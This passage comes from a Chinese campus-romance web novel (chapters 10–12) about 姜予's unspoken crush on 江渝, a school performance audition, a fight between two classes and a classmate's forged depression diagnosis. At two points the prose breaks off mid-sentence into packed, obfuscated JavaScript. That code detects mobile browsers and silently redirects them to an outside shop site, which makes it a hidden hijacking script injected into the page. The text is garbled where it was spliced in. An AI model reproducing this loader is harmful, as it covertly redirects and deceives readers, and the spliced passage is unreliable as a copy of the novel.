那时姜予便懂得,她能拿出的最好的,都不是他需要的。不像他给她的,是举世无双的体验。 这一刻,姜予抱着他的电吉他,心情像极了那年她吃下那颗草莓时,明明她挑选了最大最红最甜的一颗放到蛋糕上,可咬一口,溅开的浆果汁酸得人直流泪。 10.第十句 10 节目评选定在两周后,由学校老师和学生代表打分决定是否通过,江渝是学生代表之一。 七班的诗词串烧节目完整度不错,但各方面相较八班的略逊色,尤其是演出时出现了明显失误。 从考核教室出来时,大家都面如死灰,仿佛提前预想到了答案。 下一个轮到姜予她们进去。 架子鼓的搬运、安置耗时耗力,虽然有宋云驰留下帮忙,还是花费了些时间。 怕给评委们留下拖延印象,杨芷漫摆好电子琴后,自来熟地跟老师攀谈,拿出一个U盘交给使用电脑的老师,介绍着她们为舞台设计的背景MV。 百分之八十的手绘内容,配合歌曲节奏,使用明快灵动的特效,很是用心。 “时间比较赶,这只是初稿,如果我们入选,效果会更完美。今天评比没有服装要求,我们为了保证演出时的惊喜没特意换上,不过有准备我们演出服装的展示图。”杨芷漫对老师这个职业有敬畏,但没有怯懦,引导着使用电脑的老师点开另一个文件。 学院风衬衣,JK格裙,颜色选用和动画角色同色系。姜予作为主唱,全程站立无遮挡,出于安全考虑,褶裙叠穿了条裤腿带有喇叭设计的拖地牛仔裤。她瘦高,腿长,叠穿丝毫不显繁琐。 杨芷漫落落大方地从乐队取名理念,介绍到为汇演主题特意准备的翻唱填词,随时关注着老师的感受和黎戎绘这边的进度。 姜予没有杨芷漫的社交能力,帮忙把架子鼓搬进来后,便背好电吉他做演出前的调试。 江渝在评委席中坐得比较角落,姜予虽然是主唱,但考虑到舞台视觉效果,架子鼓在后排居中的位置摆放,杨芷漫位于其左,姜予位于其右,在舞台上站得比较“偏”,这一“偏”刚好偏到江渝正对面。 姜予捏着拨片的手指轻微的发抖,她几次深呼吸才调整平稳。 江渝并没有特意关注姜予,除了在姜予刚进门时,注意到她在那把电吉他上装饰了个仿真的透明蜻蜓外,便只有在听到杨芷漫说所有手绘元素和填词都是姜予完成的时,朝她看了一眼。 和展示图中身着演出服装,齐刘海,黑长直,比较张扬的表现力不同。 束起马尾后,这个女生显得太过安静,在他这里没什么存在感,印象中,似乎是有点儿怕跟人对视。 黎戎绘找他借乐器时有说是给姜予用的,其中的反差便让他有些诧异。不过知道黎戎绘不会乱来,江渝没多打听。 此刻,江渝看了眼节目单上她们的曲目,很燃很燥的一首歌,如果通过评选,势必会被安排在汇演前几个用来热场。 她作为主唱,能带动得起来吗? 属于她们的表演很快开始,姜予深吸口气,尽量忽略江渝的存在,现在不是胡思乱想的时候。 没有舞台和灯光,她们和观众处于同一视线高度,视线难以避免是分散的。 率先响起的架子鼓敲击声抓着观众的耳朵,却没能带来预期的爆破效果。 电子琴还不错,杨芷漫很放得开。电吉他弹奏得没有失误,但也没有亮点。主唱的声音清亮但紧绷,已然为节目定了个不完美的基调。 中规中矩的表演让江渝低下头,逐行看着新填的歌词。 她无疑是有才华的,可惜不适合……“舞台”两个字还没完全冒出,他被一阵流畅紧密的电吉他solo吸引得抬起了头。 她正在享受舞台。 姜予完全屏蔽掉江渝的存在,让脑海中只剩下音乐律动。 当她的歌声随着明快的节奏响起时,原本略显紧张的氛围被一种极致克制的爆发力取代。那是一种带着倔强与坚定的力量,仿佛要冲破某种束缚。 评委席的老师们陆续露出讶异和满意之色,受气氛感染互相对视,点头认可。 随着演奏进入尾声,姜予完全放开了自己。 她的动作不再拘谨,眼神也不逃避。此刻,她就是舞台上的焦点,每一个音符都像是从她心底迸发出的呐喊。而这种真实的情感表达,让整场表演多了一层难以言喻的感染力。 江渝紧盯使用他那把电吉他的女孩儿,手指无意识的蜷动,在节目单上留下道浅浅的折痕。 他并未料到平时文静得几乎让人忽略的女孩儿,竟能展现这样的爆发力。 她不只是主唱,更像是一座沉寂许久的火山,终于找到宣泄的出口。 “我感觉稳了。”从考核教室出来后,杨芷漫如此说。 姜予抱着电吉他,轻轻触碰上面的蜻蜓装饰,心里是放纵后的漫长空虚和难言的遗憾,以及荣幸。 纵使付出是单方面的,纵使结局没有结果,她也荣幸做了一次路过他的蜻蜓。 - 事实证明,杨芷漫的直觉是准的,她们的节目成功入选。 几家欢乐几家愁。七班的诗词串烧被刷掉,参与表演的同学们迟迟没从挫败中回过神。 “明明我们表现得更好。”有同学见严峥文心情不好过来安慰时,听他如此说。 姜予不清楚他是跟她们的节目比,还是跟八班的节目比,都不打算互动,装作没听见,继续忙自己的事。 午休时,不知怎么的就传出这个节目被刷,是因为八班的节目有江渝参演早早地被内定,而七班还有另外一个节目可以选择,便将七班的诗词串烧舍弃了。 姜予她们一进教室,便察觉数道似有若无的打量。 她们仨莫名其妙,有女生偷偷告诉杨芷漫缘由。杨芷漫当即冷笑:“真有趣啊,这么输不起参加什么评比。自己搭个舞台上去演得了,真是丑人多作怪。” 她没指名道姓,虽有人心有不服,脖子一伸想要反击,但考虑到杨芷漫一向张扬惯了,男生很少能在她那里讨到好,只得忍气吞声放弃。 七班暗潮涌动,内乱不休。八班也没能独善其身,节目的顺利入选,本该是一件值得高兴的事。 八班班主任对舒婞在整件事中的表现却不满意,他挑剔地指责舒婞在发现与其他班撞节目后没做一个备选是失职。 下午的大课间,舒婞被班主任叫走谈完话,回来后趴在桌上,抑制不住地哭了起来。 班里团支书注意到,过去安慰,手刚落到舒婞肩膀上,对方便挺身站起来,眼眶红着,留下一句:“不用安慰我。让我一个人呆会儿。” 目送她跑出教室,团支书追了几步,最终停下,担忧地求助江渝:“怎么办啊。老班那话说得也太苛刻了。” 江渝默了几秒,起身:“我去看一下吧。” - 彼时,姜予和黎戎绘去小超市买了零食回来。 楼梯间里,舒婞跑出教室上楼时,险些撞到姜予。黎戎绘嘟囔一句“什么事啊这么急”,姜予没说自己发现舒婞似乎在哭。 刚走两步,江渝的身影从走廊拐出,他张望着找什么人。 姜予本能地觉得他是追着舒婞出来的,喉咙发紧,在江渝开口询问前,出声提醒:“舒婞往楼上走了。” 江渝点头道谢,三步做两步迈上台阶。 “什么情况,整得我都好奇了。”黎戎绘探头借着窄窄的缝隙往楼上看,显然是看不到什么的。 “我们回去吧。”姜予心里空落落的,有些难受,勉强让自己的语气如常。 回到教室,姜予没等回座位,便被宋云驰转告:“物理老师让你去趟办公室。” 姜予应声,走出教室。教学楼东西两侧都有楼梯,学生去超市书店食堂,走东侧楼梯方便,西侧楼梯去办公室和地下停车场方便。 姜予站在门口,只犹豫一瞬,便选择右拐,最短距离去往物理组。 靳英是七八班的物理老师,也是八班的班主任。对方交给姜予一个U盘,让她自己拿去顶楼的打印室打印。 里面是一些补基础的物理题目,姜予这段时间陆续收到各科老师单独布置的作业,已经习惯了。 她道谢后离开,退出办公室回身关门时,听到靳英跟同办公室的另一个老师说话:“你说邓老师操这心做什么,都高二了,真想好好搞学习的学生基础能这么差?他也不是年轻老师了,教学理念怎么还这么天真。就该早点劝她转去文科……” 姜予往顶楼的打印室走时,只觉掌心的U盘千斤重。 迈上最后一级台阶,姜予才意识到自己出神很久。 明明去办公室的路上,她还想着要在每一层楼找找有没有江渝的身影。 说不准他和舒婞是来楼上某个班级找同学呢。 被办公室的小插曲影响,她俨然忘记这条任务线。 此刻想起,她发现自己早没了那么强烈的探究欲。 打印室的打印机正吞吐着纸张,没有闲置。姜予在里面呆得有些呼吸不畅,想去天台吹会儿风,再来打印。 随着厚重的天台门被推开,映入眼帘的一幕如当头棒喝,让姜予僵在原地。 一个女生站在江渝面前,虽然背对着姜予,但她一眼认出,这是舒婞。 舒婞身体微微前倾,将头抵到了江渝左肩上,两条手臂垂在身侧,紧紧绞着校服下摆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜予等了好很久,久到开始心慌地以为,在这安静的时间里,他们之间发生了一些肢体上的互动。 正当她准备离开时,听到了江渝的回答:“我对所有人都是一样的态度,要说差别,也只是朋友和普通同学的不同。你一直以来给我的反馈,也是朋友的身份。我很诧异你这个想法,但也理解。过去帮你解围的事,你不用放在心上,绝大多数人都不会吝啬帮助别人。” 舒婞语气急切地打断:“我很在意,这件事对我很重要。” 都是女生缘故,姜予很容易共情舒婞的态度。帮助别人的人并不知道,有时候,一个微小的举动能拯救一颗枯死的心。 姜予屏息,和舒婞一起等着江渝的答案。 “对自己好一点。”江渝如此说,让天台内外两个女生一同愣住,“你要相信,自己值得被这个世界善待。我对你的帮助,你选择无视,是人之常情,你选择感谢,那是你的温柔底色。但不论如何,都不值得你为了这个瞬间献出自己的感情。真心很宝贵,理应有一个更郑重的开场仪式。” 姜予站在这里,忘记了离开。 天台门被人从里面拉开,姜予才如梦初醒。 她看到江渝孤身从里面走出,四目相对,他眼神冷淡,辨不出喜怒。 姜予张了张嘴,想解释,但对方未作停留,走掉了。 天台门合上,姜予听到里面传出的,舒婞再也抑制不住的嚎啕大哭。 女孩们容易动心大都是因为缺爱。在重男轻女是普遍现象的东亚家庭里,绝大多数女孩都是缺爱的。 而男生们在过剩的爱意中,被培养得或强横或骄纵,永远可以理直气壮。 可江渝方才对她说:“婞,是倔强刚直的意思。你家人为你取这个名字时,也曾寄予美好祝愿。” - 这天傍晚,吃过晚饭去书店打发时间,黎戎绘一心扑在热门青春小说上,姜予则从书架深处淘到一本书名很有意思的诗集。 更吸引她的,是书封宣传语:“如果你有能耐去爱,首先爱自己。” 姜予将这本书买下,睡前翻阅时,才看到这句话的后半句——“但始终要意识到一败涂地的可能。” 姜予仰躺在床上,用书盖着脸,又一次想到,江渝在天台上最后对舒婞说的话—— “原生家庭或许是一场不见晴的潮湿雨季,可我们读了那么多伟人思想,见过绵延的广阔山河,何至于计较这场雨的影响。 我们享有自己的情感主权,我们值得,我们配得上一切爱。 我会永远着迷于内心丰盈、思想独立的女性。” 姜予合了合眼皮,有泪水顺着眼角流进发丝间。 江渝,你这样好,让人如何放弃。 11.第十一句 11 两个班级的矛盾爆发在第二天的课外活动。 八班男生跑进他班后门报信“李屹清被人打了!”时,姜予正被黎戎绘挽着胳膊走出教室前门。 姜予闷头写物理题写得郁闷,被这一嗓子吼出了个激灵。 “我去看看。”黎戎绘反应更激烈,跟着八班去助阵的几个男生跑出去。 姜予连忙跟上。 篮球场上,准确地说是江渝他们常打球的那个小球场。两个班级的男生因为场地使用权发生口角,引发肢体碰撞。 姜予耐力一般,追到地方停下时,缓了好半晌才喘匀呼吸。 刚站定,肩膀被随后赶来的几个男生撞到。 她猝不及防往前踉跄,这时,她注意到人群中的江渝朝这边看了一眼。 傍晚的阳光慷慨的洒在他身上,明亮耀眼。 姜予知道这一眼的焦点不是她,是看这一群人。但她仍旧心虚地迅速移开眼,数秒过去才望向事故中心。 男生们以班级为阵营对峙,怒目横对。江渝伸手拦下冲动向前的李屹清:“先冷静。” 李屹清收敛了些,但对面严峥文在内的几个男生是不会听江渝的。 运动会的插曲对八班学生而言很无语,有关汇演节目被内定的传言更是无妄之灾。而这两次活动的遭遇在七班同学看来,同样令人窝火。 人一多,形势便很难控制,没再动手,但吵嚷声不断,一浪高过一浪。 姜予注意到江渝仰头,朝一扇正冲球场的窗户看了眼。 那里是校长办公室。 学校球场数量有限,爱打球的男生却不少。这一块场地并不对学生开放,江渝他们平日在这里打,是老师特许的。 这个认知刚冒出,教导主任浑厚的嗓音自身后不远处响起:“吵什么吵!校长在楼上开会的声音都没你们热闹!都是几班的,来!一排排都给我站好!” 有围观学生辩解:“老师我没打架,只是路过看了眼。” “没见你对数学题这么有探究欲的,都给我一块站着!” 黎戎绘只得拽着姜予抢先角落位置。 眼前笼罩来一片黑影,姜予下意识抬头,意外看到正对面是江渝。 姜予来得晚,不清楚战况的激烈程度,没想到江渝竟然受伤了。鼻梁上有道红痕,嘴角微微肿着,伤口算不上严重,但他皮肤白皙没有瑕疵,稍微有点损伤都格外明显,眼皮半垂着,许是感觉到自己被注视,原本没什么焦点的视线居高临下地瞧来,深邃平静的眸底平添几分凌厉和英气。 陌生的样子。 姜予猛地意识到,她其实并不了解他,一如她从未如此清晰地看过他的眼睛。 姜予心中仿佛有一支铅笔,正窸窸窣窣地描摹勾勒着这双眼睛。 眼型周正,内眼角下勾,外眼角微微上扬,扇形双眼皮线条柔和。而眼珠泛棕,瞳孔是琥珀色的,如同藏着满天星辰。 “先去医务室处理下。”主任巡视一圈,停在江渝面前重点关照。 姜予心里那支速写笔仓促消失,她惊觉自己方才盯得过于直白,亡羊补牢地别开脸。 江渝视线从眼前女孩小巧的鼻梁上移开,回答老师不要紧。这时,有罚站的男生抬声:“报告,老师我也受伤了,要去医务室。” 主任找到说话者,抬腿踢了他一脚,警告:“哪都有你,你给我站好了!不是喜欢瞪人吗?现在,所有人,盯着你面前的同学,狠狠瞪,看谁瞪得过谁。瞅我做什么,瞪你面前的人去!输的人写一千字检讨!现在就开始!” 这一要求不是玩笑话。面对面站着的两排学生,陆续开始紧盯对面的人。 有忍不住笑场的,被发了两页纸和笔,趴在墙上写检讨去了,而他对面的人被允许回教室自习。如此奖罚分明,一时间,现场执行力拉满。 偏移的日头带动地上的影子倾斜,陆续有学生离开,姜予怀疑自己和江渝是唯一没有进展的组合。 姜予低着头,思考还有多久两人的影子会交叠在一起。 “剩余的是决不出胜负是不是?从现在开始,检讨变成两千字。来,give your hands,十指相扣,继续瞪!”主任如此更新要求。 姜予瞳孔收紧,有些无措地看看江渝又看看别人。不是震惊于翻了一番的字数,而是……十指相扣,合适吗? 黎戎绘看一眼对面的李屹清,率先不情愿道:“老师,我对面是男生。” 主任的冷幽默脱口就来:“怎么,嫌丢人啊?那你去写检讨吧,另一个可以回教室。” 黎戎绘嘴角动了动,嘟囔了句“写就写,我真倒霉”,作势去领纸和笔。李屹清见状,忙不迭主动抽走纸笔,说:“我来写。” 左右都有学生伸出双手,扣在一起,毫无心理包袱地做出各种各样的鬼脸逼对方败下阵。 姜予手指动了动,内心有期待,也有忐忑。手腕抬到1/3时,她看到江渝向后侧转了身子,似乎是要离场。 姜予一瞬间清醒,她到底在做什么啊,手正准备落回去,向主任自告奋勇写检讨。 下一秒,江渝正回身子,也抬起了双手,举高至两人中间的位置。 “冒犯了。”他轻声说。 姜予从这一刻开始失去思考能力,反应全凭本能,似乎是冲他笑了下。 十指扣住,男生的手指修长,巧合地搭在姜予脉搏之上。一瞬间,她忘记了呼吸。 很多年后,姜予问起江渝,为什么会配合规则。江渝回忆一番,说:记不清了,可能是觉得不论自己如何拒绝,你都会尴尬吧。 其实不用江渝回答,姜予在时间长河中,找到了自己的答案。 他在校园这个小社会里,享受到太多特殊优待。 导致在运动会撞人事故中、汇演节目竞争时,有江渝的存在,结果再公平公正,也总有非议和怨言。 很多时候,这样的僵局并非他的本意,可作为既得利益者,高姿态是“傲”,低姿态是“装”。他能做的,似乎只有顺其自然。 可他不甘随波逐流。 他可以心安理得地享受学校在球场这事上的特殊照顾,因为这一块区域,他的使用不会侵犯到其他同学的权益;却做不到听从主任的安排,借由去医务室的方式逃避责任。 他有自己的傲气,也有自己的担当。 时间一分一秒过去,主任终于大手一挥,放过最后几组“难舍难分”的组合。 姜予如临大赦,手和江渝的分开,仿佛血液才得以重新流淌般,酥麻感阵阵传来。 “真羡慕你!”杨芷漫从旁边凑过来,拍了下她的掌心。 姜予才意识到自己一直平举着手,忘记收回去:“你什么时候来的?” 好在杨芷漫并没细想,说自己矛盾发生前就在了,没给姜予岔开话题的机会,她自顾感慨:“你是不是咱学校第一个和我男神牵手的女生啊。” 姜予竭力平复自己的情绪,垂下去的手攥成拳:“我也没想到,他跟我一样抗拒写检讨。” 从杨芷漫口中,姜予得知了矛盾发展的整个过程。 起初是严峥文和七班几个男生在打球,李屹清来了后,说他们的篮球在球架上放着先占了这里。严峥文说:“那我还说我用那边的清洁工具先占了呢。” 李屹清:“故意找事是吧?总打球的谁不知道这场地一直是我们在用。” 严峥文招呼班里人准备走:“怕了怕了,惹不起你们班的人,连个球场都有特权。” 这话一听就是在映射八班汇演节目内定的事,八班的男生当然不乐意,就动了手。 姜予认真听完,并没有听到江渝是怎么受伤的。 - “什么我带他去打架!他那是跟他爸一块打架伤的。”面对黎戎绘的冤枉,李屹清如此解释。 “江叔叔?”见李屹清磨磨唧唧说不清楚的样子,黎戎绘当即表态,“说不说,不说我现在就给丛阿姨打电话告状!” “说说说我服了你了大小姐。” “江叔叔公司不是在内斗嘛,为了查内鬼只能从外面找律师团队……” 迟迟没听到重点,黎戎绘追问:“这跟打架有什么关系?” “你听我说完。江叔叔背后调查的事,股东得知后,暗中使阴招。阿渝当时跟他爸在一块,误入打斗现场,这才挂了彩。” “……”黎戎绘觉得有些戏剧。 解释完,李屹清说起题外话:“你班那个严峥文,在班里真的没人看他不顺眼吗?那张嘴真是太欠了。” 黎戎绘嘴角动了动,提醒道:“你别找事啊。” 李屹清自然没明目张胆地找事。 第一节晚自习结束的课间,姜予得知两班男生就连日来冲突的解决办法——约了一场篮球恩怨局。 时间定在周五放学后。 为什么偏偏是周五?姜予苦恼。 那天姜予姥爷过寿,她不可能不回去。 日子不知不觉来到周五。一到放学时间,姜静照便发信息催她早点出来,晚了路上堵。 姜予知道去得太晚姥爷会不开心,恋恋不舍地看一眼逗留着教室里的同学们,紧了紧书包背带,只得先走。 经过八班教室外时,她看到八班的同学也大都没有离开,只等放学人流高峰时段过了,去球场围观较量。 姜予没在班里找到江渝的身影,正遗憾时,看到李屹清和江渝迎面走来。 “你信不信,今天肯定有搞小动作的。”李屹清说。 江渝的状态看上去不错,似乎没受近日琐事影响:“要不咱们钓鱼执法一下?” “我看可以。”明知道江渝在开玩笑,李屹清仍笑着当捧哏。 眼看两人说话间从自己旁边经过,姜予扯着书包往旁边让了让,不引人注目。 半小时后,姜予跟着姜静照到达姥爷家,还没进门,便听到老人被逗得哈哈笑,严肃而浑厚的嗓音说:“考了双百呢,小恺比你文雨姐强。” 姜予曾用名敖文雨。姜静照顺利离婚后,第一件事便是带她去改名,说特意找人算过,她命格多水,“雨”用得不好,“文”则框住了她的性格。 “妈妈希望你有锋芒一点,凡事尽兴。‘予’五行属土,土能止水。而‘予’有给予之意,希望善良永远是你为人处世的底色。” 家里长辈叫习惯了,很难改掉。越提醒他们改正,他们越不改口。 母女俩跨进门,打完招呼,把提来的东西放下。 老爷子一改和孙子说话的和颜悦色,凝眉瞥来一眼:“你们倒是会掐时间,一坐下就开饭,省事了。” 姜予将手机收进口袋里,避免被揪出来说教。 这个家里重男轻女的风气严重,母女俩都不是讨喜的存在。 还是舅舅出声打破僵局,热络地问起姜静照前段时间刚完成的项目:“听说下个月的家居博览会是你们公司负责,这么大规模的活动,你一定很忙吧。” 舅舅和舅妈做装修的,属于家居行业下游的衍生服务,和这次活动挂钩,自然有的聊。 大人聊事,表弟姜恺则坐不住,招呼姜予去外面。姜予见姜静照顾不上自己,起身跟去院子里。 老小区一楼返潮厉害,不合理的收纳让家里显得很拥挤,姜予呆得不舒服,但外面配套的小院子不错。 “快快快,你帮我玩一局。我要截图发朋友圈炫耀。”来到室外,姜恺则催促道。 姜予看了眼被塞过来的手机,是个色感挑战的游戏。她点了开始,边玩边跟他说话:“你们同学间很流行玩这个吗?” “还行吧。都是三分钟热度。” 姜予被他老气横秋的语气逗笑。姜恺则原本时刻关注游戏进度,发现姜予在笑后,不由自主地盯向她,看直了眼神,比看游戏还认真。 这时,屋里说话声突然抬高:“让你出点力累着你了?” 是端着一家之主做派的姥爷在说话,被指责的对象自然是姜静照:“你闹离婚时,可是你弟弟带人去给你撑的场子。不然这婚你被打死都离不了。” 姜予一分神,倒计时清零,游戏结束。 她咬了下唇,没急着开始第二次挑战。 这样的场景她见过太多次,最初她会帮妈妈反驳,小孩子的话没什么道理,不具有威严和力度,根本没人听,事后姜静照更是阻拦她,说少来往就是了,一年回来两三次,一年年过得快,统共忍不了几次。 姜予认为她的态度不对,但不会凝练地表达自己的想法,只得顺从着姜静照的要求。 而今,她在不断的学习中,不再只会照本宣科地说一句:逃避解决不了问题。 她更透彻地理解:我们所遭遇的困境,大都是基于自身性格弱点量身定制的,命运会反复设置难关,直至我们解决它。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16714702|188810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可她依旧不知道,该如何解决它。 听着大人们你方唱罢我登场的交谈,姜予又一次想到江渝的那句话:针对矛盾的拉扯,本质就是一场场服从性测试。 她厌恶这个过程。 姜恺则朝客厅里望望,视线收回来,不知道如何圆场,只得打岔道:“姐,你口袋亮了。” 姜予低头,发现是不断弹出的新消息所致。 她现在迫切需要点事情转移注意力,于是拿出自己的手机,却不想姜恺则凑过来也要看她屏幕:“是你男朋友找你聊天吗?好热情哦。” 姜予反应激烈地捂住手机,发觉不妥后,纠正道:“我没有男朋友。” “切,你骗小孩儿呢。” 姜予一时哭笑不得:“你不就是小孩儿吗。” 消息没看成,被这么一打岔,姜予坏情绪倒是转移走不少。 姜予忍到从姥爷家离开,才开始看三人群聊里的未读消息。 “靠!严峥文太恶心了,竟然故意撞我男神!”杨芷漫一嗓子让姜予的心提到嗓子眼,听下去才知道是虚惊一场。 傍晚的篮球赛打得很焦灼,下半场时,八班开始发力,比分优势显著。可能是看七班回天乏术,严峥文开始使阴招。 幸得李屹清反应机警地把他抓住:“就防着你这招呢。人江渝碰到你了吗你就要摔倒,又想陷害一次?” 没给严峥文辩解机会,李屹清扭头冲场边问:“都拍下来了吗?” 场边,舒婞举着手机录下全程,冲李屹清比了个OK。 在李屹清的钳制下,严峥文挣扎的动作慢下来,渐渐停了。 一场球赛,开始得轰轰烈烈,结束得并不体面。 这下不止八班的同学,连本班同学或多或少都对严峥文产生非议。 新的一周,严峥文请了半天假,下午在父母陪同下出现,却是先去了校长办公室。 大家猜测纷纭,很快有消息灵通的同学打听到,严峥文父母告诉学校,他有抑郁症,希望学校能够善待。彪悍的学生家长和严肃的学校领导对峙,局面很僵。 没有学生清楚这场对峙如何发酵,又如何解决。 开始上课前,邓兆林领着严峥文回到教室,又把坐第一排中间的班长叫出去,不知交代了什么。 学生对学习以外的一切事情都有浓厚兴趣,不断有人偷瞄严峥文。 姜予看见严峥文站在课桌边,先是从书包里掏出一兜药,然后是课本,最后拿出份医院诊断书一类的文件。 下课后,班长来找严峥文说话,姜予才知老班安排他俩换座位。 “你东西多吗?我帮你一起搬。” “谢谢。”严峥文嘴角干得有些起皮,耷拉着一张脸,整个人看上去不太精神。 姜予去饮水机处接了杯温水,回来时,严峥文的桌椅已经搬走了,地上只剩一个装课本的塑料收纳箱。 书本收纳得并不工整,一般人都是竖着摆书,方便查找所需书籍。严峥文特立独行,是一本本摞在一起。 最上面几本有些凌乱,姜予经过时,瞥见了夹在其中的精神科诊断书。 在校园里,姜予对除江渝和要好朋友的事没有好奇心,只是匆匆掠了眼。 下一秒,她回位置坐下,慢吞吞地将水杯拧紧,朝站在新位置整理东西的男生望了眼,不动声色地从桌洞里抽出手机,对着诊断书拍了一张照片。 严峥文回来时,她已经极其小心地把诊断书恢复成原状。 等他把最后一部分个人物品取走,姜予才解锁手机,放大主治医生签名。 虽有连笔,但不潦草,姜予很轻松地认出是“卢莫”两个字。 随后她在医院官网查找这位主治医生的资料,其中包括证件照。 姜予记人能力很好,这的确是她在医院见过的那个阿姨。 对方不是要出国进修半年吗?诊断书上的日期怎么还能是今天上午? 因为有邓兆林的交代,班长积极约束着班里同学对严峥文病情的讨论。 可不知哪个环节出了问题,等众人意识到不对劲时,班里部分同学以及其他班级的同学对于这件事的认知成了——七班有个学习不错的数学竞赛生,遭到排挤和霸凌,患上了抑郁症。 又过了两天,霸凌者的名字也浮出水面——同为竞赛生的江渝,和接连在运动会和篮球赛上与其发生冲突的李屹清。 这天晚自习结束,住校生第一时间冲回宿舍赶在熄灯前洗漱,教室里逗留着零星几个走读生。 姜予为了避开下楼的蜂拥人流,走得比较晚,还有一个原因是江渝他们几个走得也晚,她运气好的话能多见一面。 姜予正收拾要带回家的书本,李屹清大大咧咧地背着书包晃进来,抬高音量:“听说我霸凌你班的男生,哪个啊,让我来认认。” 他面前就是严峥文的书桌,不知李屹清是真没看到,还是假没看到,张望一圈,视线才落到对方身上,怪腔怪调地“哟”了声,说:“这不是那谁呢。” 严峥文绷着一张脸,没回应,拿起收拾好的书包往外走时,不躲不避地擦着李屹清的肩膀。 李屹清反应迅速,像一只被踩到尾巴的猫陡然炸毛警惕状,踮着脚让了让,两手投降似的举到脑袋边,说:“可得离你远一点,我怕自己明天的罪名成了谋杀。” “屹哥,行了。”江渝警示的声音响起,姜予才注意到他不知何时出现在教室前门外。 江渝平时称呼李屹清比较简单,叫名,偶尔也连着姓。用上“哥”时大都是提醒对方别太出格。 “他要是能好好说话,可能会死吧。”黎戎绘跟着吐槽了句,背好书包避开李屹清站得前门,从后门出教室。 李屹清知道黎戎绘不待见自己,没往前凑,被骂了也不恼,撇撇嘴。 姜予把凳子推到课桌下面,朝前面看了眼,确认没人注意这边,才拦住黎戎绘把她带到走廊上,说了假诊断书的判断。 黎戎绘蹙眉:“靠!我要去曝光它,真是好恶心一个人啊。” 姜予怕她冲动行事最终被倒打一耙,提醒她别急。黎戎绘:“现在不急,等着他俩以后保送考公这种人生关键阶段被指出霸凌同学时再澄清吗?!” 前门处的两个男生循声望来,姜予察觉到,低声安抚黎戎绘几句。 黎戎绘皱着张脸,最终配合地点了头:“就听你的吧。” 12.第十二句 12 俩姑娘这边刚说完,江渝和李屹清便走到跟前。 姜予下教学楼要走东边楼梯,穿过一楼大厅步行回家。江渝他们则走西边楼梯下到负一层停车场骑车回去。 姜予小声和黎戎绘作别,往后退了退,等他们先过。 目送他们走出几步,姜予听见李屹清揶揄黎戎绘:“又不关她的事,你跟人家吵什么。” 黎戎绘回了什么,姜予没听到。她目光锁定江渝背影上。他落后几步,单肩挂着书包,挺拔而自由,看上去未受舆论影响。 察觉对方有偏头的迹象,姜予仓皇收敛,抬步拐向东边的楼梯间。 她下楼的速度不快,估算着他们在车库取车的时间,幸运的话,自己在校门口还能偶遇他一次。 当然,大多时候是遇不到的。 姜予曾经因为某一天运气好,偶遇过一次,连续几天都差不多时间间隔走出校门,全部以失望告终。 他出校门的时间,是没有规律的。 可姜予还是控制不住地一次次怀有期待,在走出校门前,朝右侧来车的车道望一眼。 - 今天江渝在车库逗留的原因是,有两个人又又又吵起来了。 “你先别说话,我有严肃的事情要说。”黎戎绘板着脸,吓退李屹清无休止的挑衅,深吸口气,把姜予发现的问题跟他们说了。 姜予特意要求过,黎戎绘便有意隐去姜予的功劳。 江渝扫了眼诊断单照片,他不认识主治医生,自然看不出端倪,很快把黎戎绘的手机还回去,问:“你是怎么发现的?” 黎戎绘心下一紧,在李屹清面前再怎么胡说八道都不会脸红,可面对江渝不行,她心下紧张,音量不自知地抬高些,语速加快:“我小姑不是在他就诊的那家医院当医生嘛,我稍微一打听,她就指出问题了。谁让他诊断单乱放被我看见了呢。” 见江渝还盯着自己。黎戎绘视线躲闪,心一横,索性说:“好吧,是我看他不顺眼。他不是跟予妹同桌嘛,之前嫌弃她成绩差好欺负,一直孤立她,自大又讨厌。想不明白这样的人竟然也会抑郁,我觉得是他丑人多作怪。没想到真被我查出点东西。” 李屹清粗神经,没察觉片刻间的气氛转变,只道:“和阿渝同名的那个女生吗?长得那么乖,脾气看着就好,学习差就差呗,人家是艺术生嘛,用脚画得都比他长得好看。碍着他什么了。” 黎戎绘暂时遗忘掉自己和李屹清还在冷战,听他这番吐槽,格外舒心,附和了句:“谁说不是。” 随后,黎戎绘小心翼翼地瞥江渝一眼。他垂着眼,不知在想什么,但没再起疑,似乎是信了她的理由。 “阿渝,你觉得我们能怎么利用这件事澄清最近学校里的谣传?”黎戎绘问。 李屹清也看向江渝。 江渝回望着他们:“你们有什么想法?” “索性一不做二不休……”李屹清作势卷了卷袖子。 江渝手臂一弯,勒着李屹清的脖子,把人往自己跟前带了带,提醒:“这几天学校有领导检查,别做冲动的事。” 李屹清装傻地打了几句哈哈:“懒得跟他动手。” 黎戎绘这会儿冷静下来,开始嫌弃李屹清的冲动,刚要说什么,不远处传来自行车倒地的声响。 意识到有其他同学时不时出现在车库,三个人没继续在这里聊这件事。 骑着自行车出了校门,同行这一路,黎戎绘还在为方才对江渝撒谎心有余悸。 先经过她和李屹清家所在的小区,往常都是互相说声“走了啊”“明天见”各去各的方向,车子都不停。 今天江渝却跟李屹清打了个招呼:“你先进去吧。我跟黎子说几句话。” 李屹清心思直,对江渝这行为很是不解,心说你们说什么啊我不能听,可话到嘴边,对江渝的信服让他配合地应下,身影毫不留恋地消失在拐角。 黎戎绘心虚地摆弄着车把,迟迟不去看江渝,心一横眼一闭,不打自招道:“好吧我说谎了。诊断单的问题不是我发现的。” 江渝叫住黎戎绘是要替李屹清说情,这俩人每吵一次架,自己都要被拉黑一次,他由衷地认为他俩的相处模式存在很大问题。 像是两个性格完全不合适的人成为朋友,这么多年了都没学会服软。 